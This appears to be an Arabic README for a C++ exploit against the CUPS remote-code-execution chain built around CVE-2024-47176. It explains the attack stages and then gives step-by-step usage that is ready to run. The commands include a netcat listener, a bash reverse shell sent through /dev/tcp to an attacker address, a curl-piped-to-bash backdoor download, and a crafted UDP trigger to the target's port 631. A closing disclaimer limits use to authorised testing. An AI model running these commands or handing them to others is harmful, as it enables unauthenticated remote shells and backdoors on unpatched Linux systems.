
استغلال بلغة C++ لتنفيذ أوامر عن بعد بدون مصادقة على CUPS عبر سلسلة CVE-2024-47176.
استغلال إثبات مفهوم كامل الوظائف يستهدف سلسلة ثغرات تنفيذ الأوامر عن بعد في نظام الطباعة الموحد (CUPS) التي تم اكتشافها في سبتمبر 2024. تتكون هذه السلسلة من أربع ثغرات CVE — CVE-2024-47176 و CVE-2024-47076 و CVE-2024-47175 و CVE-2024-47177 — والتي تسمح معًا لمهاجم بعيد غير مصادق بتنفيذ أوامر عشوائية على أي نظام لينكس يعمل بإصدار ضعيف من CUPS.
يقوم الاستغلال بنشر خادم IPP (بروتوكول الطباعة عبر الإنترنت) مارق يحاكي طابعة شبكة. يتكشف الهجوم على أربع مراحل:
المرحلة 1 — محفز الاكتشاف
يتم إرسال حزمة UDP مصممة إلى المنفذ 631 للهدف. يثق برنامج cups-browsed الخفي في هذه الحزمة دون مصادقة ويبدأ اتصال TCP عائدًا إلى خادم IPP للمهاجم لجلب سمات الطابعة.
المرحلة 2 — تسليم PPD خبيث
يستجيب خادم IPP للمهاجم بسمات طابعة تحتوي على بيانات غير نظيفة. تمر هذه البيانات عبر libcupsfilters و libppd اللذين يفشلان في التحقق من صحة الإدخال أو تنظيفه، مما يسمح بتضمين توجيه FoomaticRIPCommandLine خبيث في ملف PPD.
المرحلة 3 — حقن الأوامر
عند إرسال مهمة طباعة إلى الطابعة التي يتحكم فيها المهاجم (إما تلقائيًا أو بفعل مستخدم)، يقوم مرشح foomatic-rip بمعالجة ملف PPD وتنفيذ الأمر المحقون بصلاحيات مستخدم lp.
المرحلة 4 — تنفيذ الحمولة
يتم تشغيل الأمر المحقون على النظام المستهدف. تشمل الحمولات الشائعة الصدف العكسية، تثبيت الباب الخلفي، سرقة البيانات، أو التحضير لتصعيد الصلاحيات.
cups-browsed <= 2.0.1
libcupsfilters <= 2.1b1
libppd <= 2.1b1
cups-filters <= 2.0.1
قامت معظم توزيعات لينكس بشحن الإصدارات المتأثرة حتى تصحيحات أواخر 2024.
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
لا تبعيات خارجية. يمكن تجميعه على أي توزيعة لينكس تحتوي على g++.
./cups_rce_exploit -l <ATTACKER_IP> -r <COMMAND> [options]
-l, --listener عنوان IP للمهاجم لخادم IPP المارق-r, --reverse الأمر المراد تنفيذه على الهدف، أو مسار ملف نصي-t, --target عنوان IP للجهاز المستهدف (يرسل حزمة UDP محفزة تلقائيًا)-p, --port المنفذ لخادم IPP المارق (الافتراضي: 631)-s, --spoof اسم الطابعة المزيفة (الافتراضي: VulnPrinter)-T, --target-port منفذ UDP للهدف (الافتراضي: 631)-h, --help عرض رسالة المساعدةالطرفية 1 — ابدأ المستمع:
nc -lvnp 4444
الطرفية 2 — شغل الاستغلال:
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh
./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
الطرفية 1 — ابدأ الخادم:
./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
الطرفية 2 — أرسل محفز UDP إلى الهدف:
echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
الخطوة 1: إعداد مستمع netcat على جهاز المهاجم
nc -lvnp 4444
الخطوة 2: تجميع الاستغلال
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
الخطوة 3: تشغيل الاستغلال ضد الهدف
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
الخطوة 4: إذا قام مستخدم على الجهاز المستهدف بطباعة صفحة اختبار أو أي مستند إلى الطابعة المارقة، فستتلقى صدفة عكسية كمستخدم lp.
إشعار قانوني
تم توفير هذا البرنامج للأغراض التعليمية والبحثية فقط. يهدف إلى مساعدة المتخصصين في الأمن، ومختبر الاختراق، ومسؤولي الأنظمة على فهم واكتشاف والدفاع ضد الثغرات الموصوفة.
الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تمتلكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني وقد ينتهك قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب، وقوانين مماثلة في ولايات قضائية أخرى.
تشمل حالات الاستخدام المصرح بها تقييمات الأمن على الأنظمة التي تمتلكها، واختبارات الاختراق بتفويض كتابي، وبرامج مكافآت الثغرات بنطاق محدد، والبحث الأكاديمي في بيئات مختبرية خاضعة للرقابة، ومسابقات CTF.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. المستخدمون مسؤولون وحدهم عن الامتثال لجميع القوانين السارية والحصول على التفويض المناسب قبل الاختبار.
باستخدام هذا البرنامج، فإنك تقبل هذه الشروط.